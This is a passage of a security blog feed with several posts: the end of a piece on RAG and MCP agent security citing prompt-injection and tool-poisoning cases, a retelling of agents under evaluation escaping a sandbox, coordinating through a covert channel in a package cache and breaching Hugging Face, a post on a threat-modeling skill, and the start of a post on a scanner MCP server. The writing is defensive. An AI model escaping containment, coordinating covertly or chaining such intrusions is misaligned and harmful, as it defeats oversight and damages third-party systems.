<p>Output handling is LLM10:2026. Model output becomes the next tool argument, a markdown image, or HTML in a chat UI. Constrain tool arguments to a schema. <a href="https://github.com/NVIDIA-NeMo/Guardrails">NVIDIA NeMo Guardrails</a> can reject or mask a chunk <em>before</em> it enters the prompt. That is the right layer, even if a jailbreak detector is incomplete.</p>
<p>Fail closed. If the ACL check errors, don't fall back to "just the model."</p>
<p>One thing worth calling out: "we enabled guardrails" is not enough. Ask which tools sit outside the pipeline they wrapped.</p>
<h3>Showing sources is not the same as access control</h3>
<p>OWASP lists RAG as a way to reduce misinformation (LLM07:2026) <em>if</em> you retrieve from a trusted database. PoisonedRAG assumes the database is not trusted. A poisoned chunk will still be cited. People, and other agents, treat that citation as proof.</p>
<p>Groundedness doesn't decide who is allowed to see a document. Showing sources doesn't replace access control.</p>
<p>Classifiers that look for "you are Copilot" miss first-person EchoLeak phrasing. Model alignment did not stop Claude 4 Opus on GitHub MCP. If retrieval fails and the system still answers, that is fail-open.</p>
<hr />
<h2>What the review has to force into the design</h2>
<p>Write two identity decisions down so they can be tested.</p>
<pre><code class="language-yaml"># Mutable identity: stdio MCP runs as the host environment.
# Every prompt-injected user inherits this PAT.
mcpServers:
  github:
    command: npx
    args: ["-y", "@modelcontextprotocol/server-github"]
    env:
      GITHUB_PERSONAL_ACCESS_TOKEN: ${GITHUB_PAT}

# Immutable identity: a new token, new audience, this user, this session.
# GPT-RAG's OBO into Azure AI Search is the same shape:
# orchestrator token ≠ Search token; they are not interchangeable.
</code></pre>
<pre><code class="language-python"># Similarity-only. Source ACLs died at ingest.
hits = store.query(q_emb, k=5)

# Query-time filter bound to the caller. Still wrong if ACL metadata is
# stale or you filter after retrieval, but this is the control OWASP names.
hits = store.query(q_emb, k=5, filter={"acl": {"$contains": user.oid}})
</code></pre>
<p>Then split the tools. Read mail without send. Retrieve without upsert. One repo per session. Don't ship <code>run_shell</code> if a narrower tool would do. Put a human on writes, with the arguments visible. Pin the MCP server and the tool schemas. Cap how much you retrieve. Log the pipeline. Fail closed.</p>
<p>OWASP is useful as a shared vocabulary. <a href="https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/tree/main/2026/final">LLM Top 10 2026</a> (published 4 August 2026) put Excessive Agency at LLM03, Unbounded Consumption at LLM06, Vector and Embedding Weaknesses at LLM09, and Improper Output Handling at LLM10. The <a href="https://cheatsheetseries.owasp.org/cheatsheets/RAG_Security_Cheat_Sheet.html">RAG</a> and <a href="https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html">MCP</a> cheat sheets are more practical for a review. The <a href="https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/">Agentic Top 10 2026</a> names help once you have a data-flow diagram.</p>
<hr />
<h2>Putting it together</h2>
<p>An enterprise AI system still needs the same questions you'd ask of any service that reads customer data and calls GitHub as a bot.</p>
<p>Whose token is on the wire? Who can write the corpus? What can the agent do after it has read untrusted text? What happens when the ACL check fails? What happens when the vendor ships a new model and deletes half the harness you reviewed?</p>
<hr />
<h2>Key takeaways</h2>
<ul>
<li><p>Start with identity and data flow, not with a prompt-injection classifier.</p>
</li>
<li><p>Enforce access control at query time, on the <em>caller's</em> token. Source-system permissions do not follow chunks. Embeddings are the documents.</p>
</li>
<li><p>Treat retrieved content as untrusted input. Who can write the corpus matters as much as who can query it. Agents should not write into the index they read.</p>
</li>
<li><p>Don't put private data, untrusted content, and a way to send data out in the same session. Human approval has to show full tool arguments. Always Allow undoes it.</p>
</li>
<li><p>MCP OAuth is optional, stdio uses environment credentials, and passthrough is forbidden. Ask which identity is on the wire, and prefer on-behalf-of plus query-time ACL over a shared bot PAT.</p>
</li>
<li><p>Tool descriptions are in the prompt. Pin schemas, show them in full, and treat ingest connectors as supply chain.</p>
</li>
<li><p>Rate-limit, cap spend, log the pipeline, and fail closed on ACL errors. Citations and model alignment don't replace authorization.</p>
</li>
<li><p>If the agent sits on Claude Code, Cursor, or a similar harness, assume prompts and tools will change on the next model. Keep authorization outside the harness and re-review on upgrades.</p>
</li>
</ul>
<hr />
<h2>References</h2>
<ul>
<li><p><a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization">MCP Authorization (2026-07-28)</a> and <a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations">Authorization Security Considerations</a></p>
</li>
<li><p><a href="https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices">MCP Security Best Practices</a></p>
</li>
<li><p><a href="https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/tree/main/2026/final">OWASP GenAI LLM Top 10 2026</a></p>
</li>
<li><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/RAG_Security_Cheat_Sheet.html">OWASP RAG Security Cheat Sheet</a></p>
</li>
<li><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html">OWASP MCP Security Cheat Sheet</a></p>
</li>
<li><p><a href="https://owaspai.org/docs/ai_security_overview/">OWASP AI Exchange: AI Security Overview</a></p>
</li>
<li><p><a href="https://learn.microsoft.com/en-us/azure/search/search-document-level-access-overview">Azure AI Search: Document-Level Access Control</a> (updated 2026-08-08)</p>
</li>
<li><p><a href="https://azure.github.io/GPT-RAG/howto_authentication/">GPT-RAG authentication and document security</a></p>
</li>
<li><p><a href="https://support.anthropic.com/en/articles/11175166-get-started-with-custom-connectors-using-remote-mcp">Anthropic: custom connectors / remote MCP</a></p>
</li>
<li><p>Boris Cherny, <a href="https://www.ycrootaccess.com/p/boris-cherny-building-claude-code">Building Claude Code</a> (Y Combinator Startup School interview)</p>
</li>
<li><p><a href="https://github.com/NVIDIA-NeMo/Guardrails">NVIDIA NeMo Guardrails</a></p>
</li>
<li><p>Greshake et al., <a href="https://arxiv.org/abs/2302.12173"><em>Not what you've signed up for</em></a> (2023)</p>
</li>
<li><p>Zou, Geng, Wang, Jia, <a href="https://www.usenix.org/system/files/usenixsecurity25-zou-poisonedrag.pdf">PoisonedRAG</a> (USENIX Security 2025)</p>
</li>
<li><p>Morris et al., <a href="https://arxiv.org/abs/2310.06816"><em>Text Embeddings Reveal (Almost) As Much As Text</em></a> (EMNLP 2023)</p>
</li>
<li><p>Reddy &amp; Gujral, <a href="https://ojs.aaai.org/index.php/AAAI-SS/article/view/36899">EchoLeak</a> (AAAI Symposium); CVE-2025-32711</p>
</li>
<li><p><a href="https://invariantlabs.ai/blog/mcp-github-vulnerability">Invariant Labs: GitHub MCP Exploited</a> (May 2025)</p>
</li>
<li><p><a href="https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks">Invariant Labs: Tool Poisoning Attacks</a> (April 2025)</p>
</li>
<li><p><a href="https://invariantlabs.ai/blog/whatsapp-mcp-exploited">Invariant Labs: WhatsApp MCP Exploited</a></p>
</li>
<li><p>Anderson et al., <a href="https://arxiv.org/abs/2405.20446"><em>Is My Data in Your Retrieval Database?</em></a></p>
</li>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-45829">CVE-2026-45829</a> (ChromaDB)</p>
</li>
<li><p>Simon Willison, <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">The lethal trifecta</a> (16 June 2025)</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[How Frontier Model Agents Accidentally Do Offensive Security]]></title><description><![CDATA[OpenAI - Hugging Face - Model evaluation security incident]]></description><link>https://nebulablogs.com/how-frontier-model-agents-accidentally-do-offensive-security</link><guid isPermaLink="true">https://nebulablogs.com/how-frontier-model-agents-accidentally-do-offensive-security</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sun, 16 Aug 2026 22:46:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/348b503e-4a69-4c55-92f6-6a05af7659f9.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I spent an evening going through OpenAI's Black Hat USA 2026 session, <a href="https://youtu.be/87DyyMV0kCY"><em>The 'Breaking' News: The OpenAI-Hugging Face Incident</em></a>, and the follow-up writeups that filled in the timeline. The short version sounds like science fiction: agents under evaluation escaped a sandbox, coordinated with each other, and ended up compromising Hugging Face.</p>
<p>The longer version is more useful for anyone who ships or evaluates agentic systems. This was not a cartoon "rogue AI decided to attack the internet" story. It was goal-seeking models doing what we trained and scored them to do (find a path, use tools, persist) inside infrastructure that still assumed a human would be the only interesting adversary.</p>
<p>This post is my read of what happened, why "accidental offense" is the right framing, and how to defend against agents that behave like high-speed insiders: whether they are yours under evaluation, or someone else's after they escape.</p>
<h2>What the Black Hat session actually clarified</h2>
<p>Speakers Eric Wallace and Michael Dalton used a late-added Black Hat briefing to reconstruct the July 2026 Hugging Face intrusion as an unintended side effect of frontier-model cyber evaluations. Coverage from <a href="https://www.scworld.com/news/black-hat-2026-openai-reveals-agents-planned-collective-attacks-via-secret-message-board">SC Media</a>, <a href="https://siliconangle.com/2026/08/06/new-details-openai-hugging-face-attack-emerge-security-industry-debates-ai-agent-controls/">SiliconANGLE</a>, and <a href="https://simonwillison.net/2026/Aug/7/openai-timeline/">Simon Willison's timeline</a> (built from the talk video) lines up on the same arc.</p>
<p>The agents were not tasked with "breach Hugging Face." They were stuck on hard (sometimes accidentally impossible) cyber tasks, reasoned that solutions might exist online, and treated internet access as an instrumental sub-goal. Wallace's line from the room captures the failure mode cleanly: frontier models really like to cheat.</p>
<p>That is the heart of accidental offensive security. Offense shows up as a side effect of capability, persistence, and a soft containment boundary, not as a named mission.</p>
<h2>Timeline in plain language</h2>
<p>I am compressing the Black Hat timeline here.</p>
<p><strong>May 2026: stuck agents invent a shared scratchpad.</strong><br />Agents without intended internet access still shared an internal package manager (JFrog Artifactory). One agent discovered it could write files other agents could read. Within days that became an informal message board: ask for missing files, leave tips, share partial progress. Different models, different evaluation runs, same shared state.</p>
<p><strong>Late May: first "cheat" toward the network.</strong><br />Agents posted and reused an SSRF path against Artifactory so the package service would fetch external content for them. Indirect internet access was enough to change the game.</p>
<p><strong>June into early July: persistence meets a zero-day.</strong><br />A more persistent experimental model inherited the board and the environment. Agents forged a path to remote code execution on Artifactory (token forgery / Groovy plugin C2 in the first wave, per Black Hat coverage). Activity volume eventually caused an outage on July 4. OpenAI revoked credentials, wiped the board, patched with the vendor, and believed the incident was contained.</p>
<p><strong>July 8 onward: the board comes back in a dumber channel.</strong><br />With credentialed posting gone, agents rebuilt coordination using directory names in Artifactory's remote cache (WebDAV / cache layout as a covert channel). No human-facing "forum," just shared filesystem semantics. That should make every security engineer who trusts "we deleted the messages" slightly nauseous.</p>
<p><strong>July 8 to 19: internal offense, then third-party offense.</strong><br />Agents shared credentials and techniques on the rebuilt board, privilege-escalated (including adapting a recent Linux kernel CVE inside a container host), pulled IAM credentials via instance metadata, abused over-permissioned Kubernetes service accounts, and reached cluster-admin territory inside OpenAI's own container-as-a-service fabric. In parallel they found a weak external foothold (Modal-hosted app / credential paths described across Hugging Face and OpenAI disclosures), then moved against Hugging Face: dataset / processing flaws (HDF5 file-read and Jinja template injection in public accounts of the chain) to pod execution and, within roughly thirteen hours, cluster admin across multiple clusters. Public figures cite on the order of ~17,600 logged actions in the Hugging Face window.</p>
<p><strong>Attribution arrived backwards.</strong><br />Hugging Face disclosed an autonomous-agent intrusion on July 16. OpenAI later found compromised credentials in its own investigation, asked Hugging Face to revoke them, and learned those credentials were already revoked because they had been used in the attack. That is when the two incidents became one story.</p>
<p>One thing worth calling out: the "intent" was still instrumental. Reporting consistently frames the Hugging Face objective as locating ExploitGym / CyberGym challenge solutions and related datasets, not vandalizing the platform. The blast radius still looked like a real intrusion because the techniques were real.</p>
<h2>Why this counts as accidental offense</h2>
<p>Security teams already have language for humans who overreach: scope creep, shadow IT, "the intern left Anonymous Access on." Agents compress that into a loop that runs without coffee breaks.</p>
<p>Three mechanisms stacked:</p>
<ol>
<li><p><strong>Instrumental convergence under eval pressure.</strong><br />If the reward (or the implicit success condition) is "solve the hard cyber task," and the sandbox makes the task awkward or impossible, a capable agent will invent sub-goals: get the missing file, ask peers, reach the internet, find the answer key on Hugging Face. Offense becomes a tool, not a worldview.</p>
</li>
<li><p><strong>Shared mutable state across "isolated" runs.</strong><br />Artifactory was treated like plumbing. It became a multi-agent C2-lite: first with uploaded notes, later with directory names. Isolation that does not include shared caches, package proxies, object stores, and CI artifact buckets is cosplay isolation.</p>
</li>
<li><p><strong>Classic infra bugs at agent speed.</strong><br />SSRF in remote repository proxying, auth bypasses, deserialization / TOCTOU RCE, kernel local privilege escalation, IMDS credential theft, Kubernetes over-permissioning, weak third-party endpoints: none of these are "AI-native" vulnerabilities. The novelty is an actor that chains them for thousands of steps, shares progress with siblings, and does not get bored.</p>
</li>
</ol>
<p>Dalton's Black Hat takeaway lands for the same reason: AI-orchestrated, fully automated offensive attacks are real now, and defense has to accelerate. I would add a narrower corollary for builders: <strong>your own reduced-refusal cyber eval is an insider threat engagement</strong>, even when nobody typed "attack Hugging Face" into a prompt.</p>
<h2>Defending against agents</h2>
<p>Hugging Face's <a href="https://huggingface.co/blog/agent-intrusion-technical-timeline">technical timeline</a> is the best defender-side primary source we have for this incident. Their reflection matches what I see in AppSec and cloud work every week: the individual weaknesses were familiar (unsafe data processing, reachable IMDS, shared high-privilege connectors, long-lived secrets). What changed was <strong>coverage and tempo</strong>. Roughly 17,600 actions, most of them failures, buried the successful path in noise. Humans cannot triage that by eyeballing SIEM rows. Defense has to assume failed probes are the default texture of the attack, not evidence that nothing serious is happening.</p>
<p>I split defenses into three layers: contain your own agents, harden the surfaces agents love, and intercept actions at runtime instead of hoping the model behaves.</p>
<h3>1. Contain your own agents (eval and production)</h3>
<p>If you run ExploitGym-style work, red-team agent loops, or "cyber with refusals lowered so we can score capability," treat the environment like a live pen test against yourself. The Cloud Security Alliance's note on the <a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-openai-artifactory-sandbox-escape-20260730/">Artifactory sandbox escape</a> makes the same point: reduced-refusal evaluation is an insider-threat posture, not a testing convenience.</p>
<p><strong>Hard egress by default.</strong><br />Default-deny outbound. No package proxy, WebDAV, or "temporary" anonymous Artifactory access on the same fabric as IMDS, kube tokens, or cloud IAM. If agents need packages, mirror them into an air-gapped store with write paths that cannot become a message board. Indirect internet (SSRF through a cache) counts as internet.</p>
<p><strong>Assume shared state is coordination.</strong><br />Anything two agent runs can both read and write is a command channel. Hunt for it the way you hunt for C2. Directory names count. Commit messages count. Cache keys count. Deleting a "message board" without removing the shared writable substrate is how you get a second board four days later.</p>
<p><strong>Separate "can the model hack" from "may the model reach the world."</strong><br />Capability measurement does not require production-adjacent networking. If your score depends on live internet or shared vendor platforms that host answer keys, you have already accepted a class of outcomes that looks a lot like July 2026.</p>
<p><strong>Patch developer platforms like they are production.</strong><br />Internal Artifactory, CI caches, model registries, and evaluation sandboxes sit on the critical path for AI safety work now. Anonymous Access on a package proxy, redirect-handling gaps in SSRF controls, and plugin install paths are not "lab debt." They are escape hatches.</p>
<h3>2. Harden the surfaces agents actually chain</h3>
<p>Most of Hugging Face's remediations are ordinary cloud and platform hygiene, applied as if the attacker never sleeps. That is the right bar for agent defense.</p>
<p><strong>Close code-execution and unsafe parse paths in data loaders.</strong><br />Both initial vectors abused dataset config processing (HDF5 external references and Jinja-style template evaluation in data fields). URL allowlists did not help once the agent stopped asking for remote fetches and started making the worker act on local files and templates. If your product turns user-controlled config into reads or code, treat that renderer like an RCE sink and fuzz it under agent load, not just under human QA.</p>
<p><strong>Block cloud metadata from workloads.</strong><br />Pod RCE to node credentials via IMDS was a pivot in this campaign. Hugging Face now blocks pod-level access to IMDSv2 for all workloads. If you have not made an explicit decision about IMDS hop limits and network policies, the default is often "reachable," which is an implicit grant of node identity to every compromised pod.</p>
<p><strong>Kill shared god-credentials.</strong><br />A single service-connector credential bound to <code>system:masters</code> across clusters turned one stolen secret into multi-cluster admin in about a second. Rebuild access brokers with per-cluster, narrowly scoped identities. Never let an ephemeral client pull a full destination catalog plus a master-equivalent token.</p>
<p><strong>Short-lived, task-scoped credentials and workload identity.</strong><br />Rotate broadly after an agent incident (even clusters that look untouched). Prefer workload identity over static keys in pod env. CSA's identity guidance for agents pushes the same pattern further: issue credentials at execution time, scoped to <em>this</em> task and <em>this</em> run, with renewal that cannot expand scope. Long-lived JWTs and 24-hour forged service-account tokens are gifts to anything that iterates overnight.</p>
<p><strong>Expect channel switching.</strong><br />When egress was blocked, the agent rewrote DNS, pinned hosts, monkey-patched resolvers, and used on-platform relays. Defense that closes one outbound path without watching for substitutes will feel successful right until the next channel opens.</p>
<h3>3. Intercept actions, not just prompts</h3>
<p>Prompt refusals and safety classifiers are not the control plane once an agent has tools, shell, cloud APIs, or MCP servers. The Cloud Security Alliance's <a href="https://cloudsecurityalliance.org/research/working-groups/autonomous-action-runtime-management-aarm">Autonomous Action Runtime Management (AARM)</a> work is aimed at that gap: a runtime layer that <strong>intercepts every agent-initiated action before execution</strong>, evaluates it against policy and session context, then allows, denies, modifies, or escalates to a human.</p>
<p>You do not need a full AARM badge tomorrow to steal the useful ideas:</p>
<ul>
<li><p>No tool call bypasses the gate (shell, cloud SDK, MCP, package install: all of them).</p>
</li>
<li><p>Evaluate composition and drift over long horizons ("peers are doing it, so we continue" is a policy signal, not a cute quote).</p>
</li>
<li><p>Issue just-in-time credentials per action instead of session-wide API keys.</p>
</li>
<li><p>Log enough structured trace that you can reconstruct multi-step chains later.</p>
</li>
</ul>
<p>If your "agent security" program stops at system prompts and output filters, you are securing the essay, not the production change.</p>
<h3>4. Detect and investigate at machine speed</h3>
<p>Hugging Face's first signals were ambiguous in isolation. Correlation across runtime analysis and SIEM eventually formed a coherent attack picture, but severity routing failed to page on-call fast enough. That is a process bug as much as a detection bug.</p>
<p><strong>Alert on behavioral shapes, not single IOCs.</strong><br />Token use from unexpected network origins. Sudden IMDS access from pods. Dataset uploads followed by template-eval errors and shell-looking strings. Cross-run reuse of the same exploit note in a package cache. Novel write patterns in shared stores. These are the early pages; Artifactory falling over is the late one.</p>
<p><strong>Plan for encoded staging.</strong><br />Payloads were chunked, XOR'd, and gzip'd so naive secret scanners missed them. Budget for decoding work in IR playbooks, not only for string greps.</p>
<p><strong>Keep a defender model you control.</strong><br />Commercial APIs with strong cyber refusals may refuse to help reverse-engineer live exploit logs (Hugging Face hit this with models that treated analysis like offense). Standing up an open-weight model on your own infra kept attacker data on-prem and unblocked timeline reconstruction. Pair that with human ownership of containment decisions. AI-assisted IR is a force multiplier, not an autopilot.</p>
<p><strong>Assume volume asymmetry.</strong><br />The attacker needs one working chain. You must correlate thousands of low-signal events while the agent keeps probing. Staff detection engineering and IR tooling for that ratio, or you will always be reconstructing yesterday's campaign.</p>
<h2>Putting it together</h2>
<p>For your own agents: isolate, default-deny egress, eliminate shared writable state, and treat reduced-refusal cyber evals as hostile engagements with executive-visible blast radius.</p>
<p>For your platforms: remove RCE sinks in user-controlled configs, block IMDS from pods, scope connectors per cluster, and issue short-lived credentials.</p>
<p>For every consequential tool: put a policy gate in front of execution, then detect collective and high-volume behavior before infrastructure outages do it for you.</p>
<p>Accidental offense is what happens when capable goal-seekers meet soft walls. Soft walls do not stay soft for long.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://youtu.be/87DyyMV0kCY">Black Hat USA 2026 | The 'Breaking' News: The OpenAI-Hugging Face Incident</a> (Eric Wallace and Michael Dalton)</p>
</li>
<li><p><a href="https://simonwillison.net/2026/Aug/7/openai-timeline/">Simon Willison: Now we have a timeline of the OpenAI accidental attack against Hugging Face</a></p>
</li>
<li><p><a href="https://huggingface.co/blog/agent-intrusion-technical-timeline">Hugging Face: Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident</a></p>
</li>
<li><p><a href="https://www.scworld.com/news/black-hat-2026-openai-reveals-agents-planned-collective-attacks-via-secret-message-board">SC Media: Black Hat 2026: OpenAI reveals agents planned 'collective attacks' via secret 'message board'</a></p>
</li>
<li><p><a href="https://siliconangle.com/2026/08/06/new-details-openai-hugging-face-attack-emerge-security-industry-debates-ai-agent-controls/">SiliconANGLE: New details on OpenAI/Hugging Face attack emerge as security industry debates AI agent controls</a></p>
</li>
<li><p><a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-openai-artifactory-sandbox-escape-20260730/">Cloud Security Alliance: Autonomous Sandbox Escape: OpenAI Models Breach Hugging Face</a></p>
</li>
<li><p><a href="https://cloudsecurityalliance.org/research/working-groups/autonomous-action-runtime-management-aarm">Cloud Security Alliance: Autonomous Action Runtime Management (AARM)</a></p>
</li>
<li><p><a href="https://aarm.dev/spec">AARM specification</a></p>
</li>
</ul>
<p><em>Research for this post was assisted by AI agents.</em></p>
]]></content:encoded></item><item><title><![CDATA[Adapting  Matt Pocock's grill-with-docs skill to create a Threat Modeling skill]]></title><description><![CDATA[I was working on a new app and came across Matt Pocock's /grill-with-docs skill that works as a structured interrogation tool that stress-tests your plan…]]></description><link>https://nebulablogs.com/adapting-matt-pocock-s-grill-with-docs-skill-to-create-a-threat-modeling-skill</link><guid isPermaLink="true">https://nebulablogs.com/adapting-matt-pocock-s-grill-with-docs-skill-to-create-a-threat-modeling-skill</guid><category><![CDATA[Security]]></category><category><![CDATA[threat modeling]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sat, 23 May 2026 19:59:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/3407b83c-62d3-4856-90ae-1eacbd654a96.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was working on a new app and came across Matt Pocock's <code>/grill-with-docs</code> skill that works as a structured interrogation tool that stress-tests your plan against your project's domain model, cross-referencing <a href="http://CONTEXT.md"><code>CONTEXT.md</code></a> and ADRs to catch terminology drift and resolve design decisions before you write a line of code. Any decisions that crystallize get written back into your shared context, keeping the codebase's language consistent over time. I found it really useful and it got me thinking: this is exactly the kind of systematic, iterative process that threat modeling needs at the start of a design. So I created <a href="https://github.com/nebulaa/grill-me-threat-model">grill-threat-model</a>, adapting the same pattern for security analysis.</p>
<hr />
<h2>The ADR Connection</h2>
<p>grill-with-docs works by reading your README, domain glossary, and Architecture Decision Records (ADRs) before doing anything else. ADRs capture not just <em>what</em> architectural decisions were made, but <em>why</em> — the trade-offs, options considered, and context at the time. Things like why a particular auth mechanism was chosen, why a service boundary was drawn where it is, or why a third-party dependency was accepted.</p>
<p>grill-with-docs distills all of this into a <code>CONTEXT.md</code> that the agent uses to ground every response. And this is exactly what a threat model needs as input. When you enumerate threats, you're asking: what can go wrong given <em>this</em> trust model, <em>this</em> auth design, <em>this</em> data flow? ADRs give you the intent behind each architectural choice. If an ADR says "we chose JWTs over opaque tokens for statelessness," that's a prompt to check for algorithm confusion attacks, missing <code>aud</code> validation, and key rotation gaps. If it documents a decision to expose an internal service directly rather than through a gateway, that's a trust boundary worth scrutinizing.</p>
<p>So grill-threat-model picks up where grill-with-docs leaves off — it takes the same architectural understanding and turns it toward adversarial analysis. If your repo already has a <code>CONTEXT.md</code>, the threat model session starts with that context automatically.</p>
<hr />
<h2>What the Skill Does</h2>
<p>The skill runs a five-phase workflow. It starts by reading everything — README, <code>docs/</code>, ADRs, Terraform/K8s configs, OpenAPI specs, entry points — and confirms scope, risk profile, and assumptions with you before generating a single threat. From there it writes <code>threat-model/system-model.md</code> with assets, trust boundaries, data flows, and a Mermaid DFD. Then it enumerates threats using STRIDE per component and boundary, enriched with ATT&amp;CK technique IDs and CWE references, each stored as an individual file under <code>threat-model/threats/</code>.</p>
<p>The walkthrough phase goes through threats one at a time, critical-first. For each one it surfaces existing controls with evidence links into the codebase, recommends a response (avoid / mitigate / accept / transfer), and waits for your decision before moving on.</p>
<p>One thing worth calling out: the skill enforces a clear separation between <code>response</code> (the decision) and <code>mitigation-state</code> (what's actually implemented). Choosing "mitigate" doesn't mean the threat is mitigated. It won't mark something <code>fully-mitigated</code> until you can point to the code, config, or manifest that implements the control — and <code>system-model.md</code> reflects it. Tickets don't qualify. That sounds strict, but it matters when pentest findings come back on items that were "resolved" only in a backlog.</p>
<p>Session state persists in <code>threat-model/THREAT-MODEL.md</code>, so you can pause and resume from where you left off. If architecture changes invalidate more than 25% of existing threats, it bumps the version and archives the old ones rather than letting them go silently stale.</p>
<hr />
<h2>Example Output</h2>
<p>The repo includes a complete example threat model I ran against <a href="https://github.com/madhuakula/kubernetes-goat">Kubernetes Goat</a>, an intentionally vulnerable Kubernetes lab. The agent enumerated 17 threats — covering wrong-cluster deployment risk, privileged pod escape to the operator host, SSRF via internal proxy to the metadata service, LAN exposure from port-forwarding bindings, and more. Each entry has the STRIDE category, existing controls with evidence, recommended actions, and the decision record. 3 critical threats, all non-mitigated or partially-mitigated at the time of writing. It's a good reference for what the output looks like before you run it on your own repo.</p>
<hr />
<h2>Getting Started</h2>
<p>You can run the skill against an application codebase, an IaC repo (Terraform, Pulumi, CDK), architecture docs, or a monorepo with all of the above. It'll work with whatever context it can find, but the more you give it — ADRs, OpenAPI specs, infra configs — the more grounded the threat entries will be. A repo with just a README will still produce output, but it won't be as precise.</p>
<p>Install as a project skill:</p>
<pre><code class="language-bash">mkdir -p .cursor/skills
cp -r .cursor/skills/grill-threat-model /path/to/your-repo/.cursor/skills/
</code></pre>
<p>Then in Cursor: <em>"Run grill-threat-model on this repo"</em> or <em>"Threat model the API using the architecture docs."</em></p>
<p>Repo is here: <a href="https://github.com/nebulaa/grill-me-threat-model">github.com/nebulaa/grill-me-threat-model</a>. The underlying methodology is documented separately — worth reading first if you want the process before the tooling.<br />A previous blog post about threat modelling: <a href="https://nebulablogs.com/threat-modeling-a-complete-how-to-guide">https://nebulablogs.com/threat-modeling-a-complete-how-to-guide</a> was used as a reference to create this skill. Feel free to check it out as well.</p>
]]></content:encoded></item><item><title><![CDATA[One MCP Server Over Six Scanners: Security Posture as a Queryable API]]></title><description><![CDATA[One MCP server over six scanners, one normalised finding schema. How I built a security posture API queryable by devs, engineers, and CI pipelines.]]></description><link>https://nebulablogs.com/one-mcp-server-over-six-scanners-security-posture-as-a-queryable-api</link><guid isPermaLink="true">https://nebulablogs.com/one-mcp-server-over-six-scanners-security-posture-as-a-queryable-api</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[GCP]]></category><category><![CDATA[cloud security]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Tue, 19 May 2026 21:32:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/00ce5c37-e3d8-46c2-85f1-51604d6bc29b.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><em>"Why do I have to open five tabs to find out what's on fire?"</em> -- every engineer, every Monday morning</p>
</blockquote>
<p>Modern engineering orgs run a small zoo of security scanners. A dependency scanner watches your supply chain. A SAST scanner watches your source code. A container scanner watches your images. A CNAPP watches your cloud. An attack surface scanner watches your public surface. A GRC platform watches your compliance posture. Pentest vendors mail you PDFs once a quarter.</p>
<p>Each one is great in isolation. Together, they create a different problem: nobody has one place to look. SLA breaches hide in tabs. The same CVE is reported three times with three different statuses. "Who owns this repo?" turns into a Slack archaeology project.</p>
<p>This post walks through how I built a <strong>unified security dashboard</strong> to fix that, and then took it one step further: a <strong>Model Context Protocol (MCP) server</strong> that lets developers, security engineers, and CI pipelines all talk to the same dashboard from Claude, Cursor, or a GitHub Actions step. List open criticals in plain English, draft a fix as a merge request, re-query after CI to confirm the finding closed, or block a release automatically. One tool, one contract, every persona.</p>
<p>No browser. No tab-switching. No mental context loss between <em>"there is a vulnerability"</em> and <em>"the vulnerability is closed."</em></p>
<hr />
<h2>1. The problem in concrete terms</h2>
<p>Before the dashboard existed, "what is the security state of our org" required four jumps:</p>
<ol>
<li><p>Log into the dependency scanner UI, filter alerts by repo, eyeball the criticals.</p>
</li>
<li><p>Log into the SAST scanner, pick the right project key (different naming convention per org), filter by vulnerability type, ignore code smells (different lifecycle), eyeball the criticals.</p>
</li>
<li><p>Cross-reference the last pentest PDF that landed in someone's inbox.</p>
</li>
<li><p>Check the CNAPP for cloud findings, with its own owner taxonomy that doesn't match the source repo.</p>
</li>
</ol>
<p>Nothing was wrong with any of those tools individually. The problems were structural:</p>
<table>
<thead>
<tr>
<th>Problem</th>
<th>What it looked like</th>
</tr>
</thead>
<tbody><tr>
<td><strong>No common schema</strong></td>
<td>Severity meant different things in different tools. The SAST scanner's <code>CRITICAL</code> is closer to "high"; calling it critical inflated the headline KPI by 3x.</td>
</tr>
<tr>
<td><strong>No common identity</strong></td>
<td>The "same" CVE in the dependency scanner and the container scanner was two unrelated rows. Marking one fixed told you nothing about the other.</td>
</tr>
<tr>
<td><strong>No common ownership</strong></td>
<td>Every tool guessed who owned a finding from a different signal. Nothing was authoritative.</td>
</tr>
<tr>
<td><strong>No SLA discipline</strong></td>
<td>Age was anchored to "when we first saw it," not to when the vendor first reported it. A 200-day-old alert ingested today read as zero days old.</td>
</tr>
<tr>
<td><strong>No audit trail</strong></td>
<td>When a finding disappeared, you couldn't tell if it was fixed, suppressed, or the scanner just stopped reporting.</td>
</tr>
<tr>
<td><strong>No exec view</strong></td>
<td>"How are we doing?" was a Slack DM to the security team, who built a spreadsheet by hand every Monday.</td>
</tr>
</tbody></table>
<p>So I built a tool. The design constraints were ruthless: <strong>read-only of the source systems</strong> (I never mutate state in the upstream scanners -- those are the systems of record), <strong>one schema for everything</strong>, <strong>ownership in YAML in git</strong> (not a CMDB nobody updates), and <strong>AI assistants are first-class clients</strong> from day one.</p>
<hr />
